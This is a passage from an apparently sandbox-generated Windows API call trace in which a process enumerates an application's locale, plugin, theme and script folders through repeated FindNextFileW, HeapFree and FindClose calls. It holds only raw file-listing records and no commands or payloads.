hHeap=0x420000) returned 1 [0189.983] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.983] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.983] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0189.983] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.983] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0189.984] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.984] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24931b8, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0189.984] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.984] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.984] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.984] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.984] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.984] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0189.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.985] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.985] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.985] FindNextFileW (in: hFindFile=0x4121708, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.985] FindClose (in: hFindFile=0x4121708 | out: hFindFile=0x4121708) returned 1 [0189.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.985] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.986] FindNextFileW (in: hFindFile=0x4121348, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0189.986] FindClose (in: hFindFile=0x4121348 | out: hFindFile=0x4121348) returned 1 [0189.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.986] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0189.986] FindClose (in: hFindFile=0x4121308 | out: hFindFile=0x4121308) returned 1 [0189.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.986] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.986] FindClose (in: hFindFile=0x41212c8 | out: hFindFile=0x41212c8) returned 1 [0189.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0189.986] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1 [0189.986] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.986] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0189.989] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.989] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0189.989] FindClose (in: hFindFile=0x4121648 | out: hFindFile=0x4121648) returned 1 [0189.989] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.989] FindNextFileW (in: hFindFile=0x4121248, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0189.989] FindClose (in: hFindFile=0x4121248 | out: hFindFile=0x4121248) returned 1 [0189.990] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0189.990] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0190.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.068] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.069] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0190.070] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0190.071] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.071] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0190.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.072] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0190.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.072] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 